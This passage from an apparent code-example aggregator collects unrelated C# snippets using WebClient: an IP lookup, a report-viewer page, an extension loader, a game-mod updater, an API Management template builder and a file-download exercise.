                        WindowManager.mainWindow.Worker.ReportProgress(-1, e.Message);
                    }
                }
            }
        }
예제 #54
0
        public static String getExternalIP()
        {
            String IP = new WebClient().DownloadString("http://icanhazip.com");

            return(IP.Remove(IP.Length - 1));
        }
예제 #55
0
 public BadgeGrabber()
 {
     _web = new WebClient();
 }
예제 #56
0
    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            if (!Page.IsPostBack)
            {
                //code for security privilage
                Session.Remove("WRITEFACILITY");

                SMHR_LOGININFO _obj_Smhr_LoginInfo = new SMHR_LOGININFO();

                _obj_Smhr_LoginInfo.OPERATION       = operation.Empty1;
                _obj_Smhr_LoginInfo.LOGIN_USERNAME  = Convert.ToString(Session["USERNAME"]).Trim();
                _obj_Smhr_LoginInfo.ORGANISATION_ID = Convert.ToInt32(Session["ORG_ID"]);
                _obj_Smhr_LoginInfo.LOGIN_PASS_CODE = Convert.ToString("Form20 ");
                DataTable dtformdtls = BLL.get_LoginInfo(_obj_Smhr_LoginInfo);
                if (dtformdtls.Rows.Count != 0)
                {
                    if ((Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_READ"]) == true) && (Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_WRITE"]) == true))
                    {
                        Session["WRITEFACILITY"] = 1;//WHICH MEANS READ AND WRITE
                    }
                    else if ((Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_READ"]) == true) && (Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_WRITE"]) == false))
                    {
                        Session["WRITEFACILITY"] = 2;//WHICH MEANS READ NO WRITE
                    }
                    else if ((Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_READ"]) == false) && (Convert.ToBoolean(dtformdtls.Rows[0]["TYPSEC_WRITE"]) == false))
                    {
                        Session["WRITEFACILITY"] = 3;//WHICH MEANS NO READ AND NO WRITE
                    }
                }
                else
                {
                    smhr_UNAUTHORIZED _obj_smhr_unauthorized = new smhr_UNAUTHORIZED();
                    _obj_smhr_unauthorized.UNAUTHORIZED_USERID     = Convert.ToInt32(Session["USER_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_FORMID     = Convert.ToInt32(ViewState["FORMS_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_MODULEID   = Convert.ToInt32(ViewState["MODULE_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_ACCESSDATE = Convert.ToDateTime(DateTime.Now.ToString());
                    SMHR.BLL.UnAuthorized_Log(_obj_smhr_unauthorized);
                    Response.Redirect("~/frm_UnAuthorized.aspx", false);
                }


                if (Convert.ToInt32(Session["WRITEFACILITY"]) == 2)
                {
                    //Rg_Countries.MasterTableView.CommandItemDisplay = GridCommandItemDisplay.None;
                    //btn_Save.Visible = false;
                    //btn_Update.Visible = false;
                }
                else if (Convert.ToInt32(Session["WRITEFACILITY"]) == 3)
                {
                    smhr_UNAUTHORIZED _obj_smhr_unauthorized = new smhr_UNAUTHORIZED();
                    _obj_smhr_unauthorized.UNAUTHORIZED_USERID     = Convert.ToInt32(Session["USER_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_FORMID     = Convert.ToInt32(ViewState["FORMS_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_MODULEID   = Convert.ToInt32(ViewState["MODULE_ID"]);
                    _obj_smhr_unauthorized.UNAUTHORIZED_ACCESSDATE = Convert.ToDateTime(DateTime.Now.ToString());
                    SMHR.BLL.UnAuthorized_Log(_obj_smhr_unauthorized);
                    Response.Redirect("~/frm_UnAuthorized.aspx", false);
                }
                RPT_Form20.ProcessingMode = Microsoft.Reporting.WebForms.ProcessingMode.Remote;
                Microsoft.Reporting.WebForms.ServerReport serverReport = default(Microsoft.Reporting.WebForms.ServerReport);
                serverReport = RPT_Form20.ServerReport;


                string    sDomain      = ConfigurationSettings.AppSettings["MyReportViewerDomain"];
                string    MyReportPath = System.Configuration.ConfigurationSettings.AppSettings["MyReportPath"];
                WebClient wc           = new WebClient();
                Reports.ReportServerNetworkCredentials _ObjNC = new Reports.ReportServerNetworkCredentials();
                serverReport.ReportServerCredentials = _ObjNC;
                serverReport.ReportServerUrl         = new Uri(sDomain);
                serverReport.ReportPath = MyReportPath + "Form20";


                serverReport.Refresh();
                RPT_Form20.Visible = true;
            }
        }
        catch (Exception ex)
        {
            SMHR.BLL.Error_Log(Session["USER_ID"].ToString(), ex.TargetSite.ToString(), ex.Message.Replace("'", "''"), "Form20 ", ex.StackTrace, DateTime.Now);
            Response.Redirect("~/Frm_ErrorPage.aspx");
        }
    }
예제 #57
0
        public static void LoadAllExtensions(IEnumerable <string> extensionUrls, EventHandler onCompleted, EventHandler <ExceptionEventArgs> onFailed, object userState = null)
        {
            if (extensionUrls != null)
            {
                int packageDownloadCount = extensionUrls.Count();
                if (packageDownloadCount == 0)
                {
                    raiseOnCompletedEvent(onCompleted, onFailed);
                    return;
                }

                foreach (string uri in extensionUrls)
                {
                    if (m_extensionUrls.Contains(uri)) // Check if already downloaded
                    {
                        if (Interlocked.Decrement(ref packageDownloadCount) == 0)
                        {
                            raiseOnCompletedEvent(onCompleted, onFailed);
                        }
                        continue;// skip on to the next extension
                    }

                    m_extensionUrls.Add(uri);
                    Uri validUri = null;
                    if (Uri.TryCreate(uri, UriKind.RelativeOrAbsolute, out validUri))
                    {
                        WebClient webClient = new WebClient();
                        webClient.OpenReadCompleted += (s, e) => {
                            if (e.Error != null)
                            {
                                if (onFailed != null)
                                {
                                    onFailed(null, new ExceptionEventArgs(e.Error, e.UserState));
                                }
                                System.Diagnostics.Debug.WriteLine(e.Error.ToString());
                            }

                            if (!e.Cancelled)
                            {
                                try
                                {
                                    IEnumerable <Assembly> assemblies = getAssemblies(e.Result);
                                    if (assemblies != null)
                                    {
                                        foreach (Assembly assembly in assemblies)
                                        {
                                            AssemblyManager.AddAssembly(assembly);
                                        }
                                    }
                                }
                                catch (Exception ex)
                                {
                                    if (onFailed != null)
                                    {
                                        onFailed(null, new ExceptionEventArgs(ex, e.UserState));
                                    }
                                    System.Diagnostics.Debug.WriteLine(ex.ToString());
                                }
                            }

                            if (Interlocked.Decrement(ref packageDownloadCount) == 0)
                            {
                                // Last extension
                                raiseOnCompletedEvent(onCompleted, onFailed);
                            }
                        };
                        webClient.OpenReadAsync(validUri, validUri.IsAbsoluteUri ? validUri.AbsoluteUri : uri);
                    }
                    else if (Interlocked.Decrement(ref packageDownloadCount) == 0)
                    {
                        raiseOnCompletedEvent(onCompleted, onFailed);
                    }
                }
            }
            else
            {
                raiseOnCompletedEvent(onCompleted, onFailed);
            }
        }
예제 #58
0
        public static void a3Update()
        {
            if (isArma2)
            {
                armaPath = path("ArmA2");
            }
            else
            {
                armaPath = path("ArmA3");
            }
            if (url == "")
            {
                url = Settings.Default.A3repourl;
            }
            if (isArma2)
            {
                string arma3Path = regcheck.arma2RegCheck();
            }
            else
            {
                string arma3Path = regcheck.arma3RegCheck();
            }
            string mod;

            string[] mods;
            string   modFolder;
            string   versionString  = "";
            string   version0String = "";
            var      client         = new WebClient();

            mods = downloader.webReadLines(url + modlist);
            int i = 0;

            foreach (string modline in mods)
            {
                i++;
                int index = modline.IndexOf("#");
                if (index != 0)
                {
                    if (index != -1)
                    {
                        mod = modline.Substring(0, index);
                    }
                    else
                    {
                        mod = modline;
                    }
                    modFolder = armaPath + "\\" + mod;
                    if (Directory.Exists(modFolder))
                    {
                        string versionFile  = armaPath + "\\" + mod + "\\" + "SU.version";
                        string version0File = "SU.version";
                        if (File.Exists(versionFile))
                        {
                            versionString  = File.ReadAllText(versionFile);
                            version0String = downloader.webRead(url + mod + "\\" + version0File);
                            logIt.add("Fetched versionfile from server version is " + versionString);
                            File.Delete(version0File);
                            if (versionString == version0String)
                            {
                                //a3Items.Add(new Mod() { status = modGreen, modName = mod });
                                //MessageBox.Show(mod + " is up to date.");
                            }
                            else
                            {
                                //a3Items.Add(new Mod() { status = modYellow, modName = mod });
                                //MessageBox.Show(mod + " is out of date.");
                                a3DetailUpdate(mod, client);
                            }
                        }
                        else
                        {
                            //a3Items.Add(new Mod() { status = modBrown, modName = mod });
                            //MessageBox.Show(mod + " is missing a version file.");
                            version0String = downloader.webRead(url + mod + "\\" + version0File);
                            MessageBoxResult result =
                                MessageBox.Show(
                                    "SlickUpdater have detected that you have the folder " + modFolder +
                                    " if your 100% sure this is up to date you don't have to re-download. \n\nAre you sure this mod is up to date?",
                                    "Mod folder detacted", MessageBoxButton.YesNo);
                            switch (result)
                            {
                            case MessageBoxResult.Yes:
                                File.WriteAllText(modFolder + "\\SU.version", version0String);
                                break;

                            case MessageBoxResult.No:
                                a3DetailUpdate(mod, client);
                                break;
                            }
                        }
                    }
                    else
                    {
                        //a3Items.Add(new Mod() { status = modBlue, modName = mod });
                        //MessageBox.Show(mod + " doesn't exist on your computer.");
                        a3DetailUpdate(mod, client);
                    }
                }
                double status = i / (double)mods.Length;
                WindowManager.mainWindow.Worker.ReportProgress((int)(status * 100) + 202);
            }
        }
        public async Task <APITemplateResource> CreateAPITemplateResourceAsync(APIConfig api, bool isSplit, bool isInitial)
        {
            // create api resource
            APITemplateResource apiTemplateResource = new APITemplateResource()
            {
                Name       = MakeResourceName(api),
                Type       = ResourceTypeConstants.API,
                ApiVersion = GlobalConstants.ApiVersion,
                Properties = new APITemplateProperties(),
                DependsOn  = new string[] { }
            };

            // add properties depending on whether the template is the initial, subsequent, or unified
            if (!isSplit || !isInitial)
            {
                // add metadata properties for initial and unified templates
                apiTemplateResource.Properties.ApiVersion                    = api.apiVersion;
                apiTemplateResource.Properties.ServiceUrl                    = this.MakeServiceUrl(api);
                apiTemplateResource.Properties.Type                          = api.type;
                apiTemplateResource.Properties.ApiType                       = api.type;
                apiTemplateResource.Properties.Description                   = api.description;
                apiTemplateResource.Properties.SubscriptionRequired          = api.subscriptionRequired;
                apiTemplateResource.Properties.ApiRevision                   = api.apiRevision;
                apiTemplateResource.Properties.ApiRevisionDescription        = api.apiRevisionDescription;
                apiTemplateResource.Properties.ApiVersionDescription         = api.apiVersionDescription;
                apiTemplateResource.Properties.AuthenticationSettings        = api.authenticationSettings;
                apiTemplateResource.Properties.SubscriptionKeyParameterNames = api.subscriptionKeyParameterNames;
                apiTemplateResource.Properties.Path                          = api.suffix;
                apiTemplateResource.Properties.IsCurrent                     = api.isCurrent;
                apiTemplateResource.Properties.DisplayName                   = string.IsNullOrEmpty(api.displayName) ? api.name : api.displayName;
                apiTemplateResource.Properties.Protocols                     = this.CreateProtocols(api);
                // set the version set id
                if (api.apiVersionSetId != null)
                {
                    // point to the supplied version set if the apiVersionSetId is provided
                    apiTemplateResource.Properties.ApiVersionSetId = $"[resourceId('Microsoft.ApiManagement/service/apiVersionSets', parameters('{ParameterNames.ApimServiceName}'), '{api.apiVersionSetId}')]";
                }
                // set the authorization server id
                if (api.authenticationSettings != null && api.authenticationSettings.OAuth2 != null && api.authenticationSettings.OAuth2.AuthorizationServerId != null &&
                    apiTemplateResource.Properties.AuthenticationSettings != null && apiTemplateResource.Properties.AuthenticationSettings.OAuth2 != null && apiTemplateResource.Properties.AuthenticationSettings.OAuth2.AuthorizationServerId != null)
                {
                    apiTemplateResource.Properties.AuthenticationSettings.OAuth2.AuthorizationServerId = api.authenticationSettings.OAuth2.AuthorizationServerId;
                }
                // set the subscriptionKey Parameter Names
                if (api.subscriptionKeyParameterNames != null)
                {
                    if (api.subscriptionKeyParameterNames.Header != null)
                    {
                        apiTemplateResource.Properties.SubscriptionKeyParameterNames.Header = api.subscriptionKeyParameterNames.Header;
                    }
                    if (api.subscriptionKeyParameterNames.Query != null)
                    {
                        apiTemplateResource.Properties.SubscriptionKeyParameterNames.Query = api.subscriptionKeyParameterNames.Query;
                    }
                }
            }
            if (!isSplit || isInitial)
            {
                // add open api spec properties for subsequent and unified templates
                string format;
                string value;

                // determine if the open api spec is remote or local, yaml or json
                bool isJSON = false;
                bool isUrl  = IsUri(api, out var _);

                string fileContents = null;
                if (!isUrl || api.openApiSpecFormat == OpenApiSpecFormat.Unspecified)
                {
                    fileContents = await this.fileReader.RetrieveFileContentsAsync(api.openApiSpec);
                }

                value = isUrl
                    ? api.openApiSpec
                    : fileContents
                ;

                bool isVersionThree = false;
                if (api.openApiSpecFormat == OpenApiSpecFormat.Unspecified)
                {
                    isJSON = this.fileReader.IsJSON(fileContents);

                    if (isJSON == true)
                    {
                        var openAPISpecReader = new OpenAPISpecReader();
                        isVersionThree = await openAPISpecReader.IsJSONOpenAPISpecVersionThreeAsync(api.openApiSpec);
                    }
                    format = GetOpenApiSpecFormat(isUrl, isJSON, isVersionThree);
                }

                else
                {
                    isJSON = IsOpenApiSpecJson(api.openApiSpecFormat);
                    format = GetOpenApiSpecFormat(isUrl, api.openApiSpecFormat);
                }

                // if the title needs to be modified
                // we need to embed the OpenAPI definition

                if (!string.IsNullOrEmpty(api.displayName))
                {
                    format = GetOpenApiSpecFormat(false, isJSON, isVersionThree);

                    // download definition

                    if (isUrl)
                    {
                        using (var client = new WebClient())
                            value = client.DownloadString(value);
                    }

                    // update title

                    value = new OpenApi(value, format)
                            .SetTitle(api.displayName)
                            .GetDefinition()
                    ;
                }

                // set the version set id
                if (api.apiVersionSetId != null)
                {
                    // point to the supplied version set if the apiVersionSetId is provided
                    apiTemplateResource.Properties.ApiVersionSetId = $"[resourceId('Microsoft.ApiManagement/service/apiVersionSets', parameters('{ParameterNames.ApimServiceName}'), '{api.apiVersionSetId}')]";
                }
                apiTemplateResource.Properties.Format = format;
                apiTemplateResource.Properties.Value  = value;

                // #562: deploying multiple versions of an API may fail because while trying to deploy the initial template
                // overwrite the initial template’s path property to a dummy value
                // this value will be restored when the subsequent template is deployed

                if (isSplit && isInitial)
                {
                    apiTemplateResource.Properties.Path = api.suffix + $"/{Guid.NewGuid():n}";
                }
                else
                {
                    apiTemplateResource.Properties.Path = api.suffix;
                }

                if (!string.IsNullOrEmpty(api.serviceUrl))
                {
                    apiTemplateResource.Properties.ServiceUrl = this.MakeServiceUrl(api);
                }
            }
            return(apiTemplateResource);
        }
예제 #60
-1
 static void Main()
 {
     using (WebClient webCl = new WebClient())
     {
         try
         {
             Console.WriteLine("Write a program that downloads a file from Internet (e.g. http://www.devbg.org/img/Logo-BASD.jpg) and stores it the current directory. Find in Google how to download files in C#. Be sure to catch all exceptions and to free any used resources in the finally block.");
             Console.WriteLine();
             webCl.DownloadFile("http://www.devbg.org/img/Logo-BASD.jpg", "image.jpg");
             Console.WriteLine("Download Complete.");
         }
         catch (System.Net.WebException)
         {
             Console.WriteLine("Error downloading file.");
         }
         catch (System.ArgumentException)
         {
             Console.WriteLine("Wrong path");
         }
         finally
         {
             webCl.Dispose();
         }
     }
 }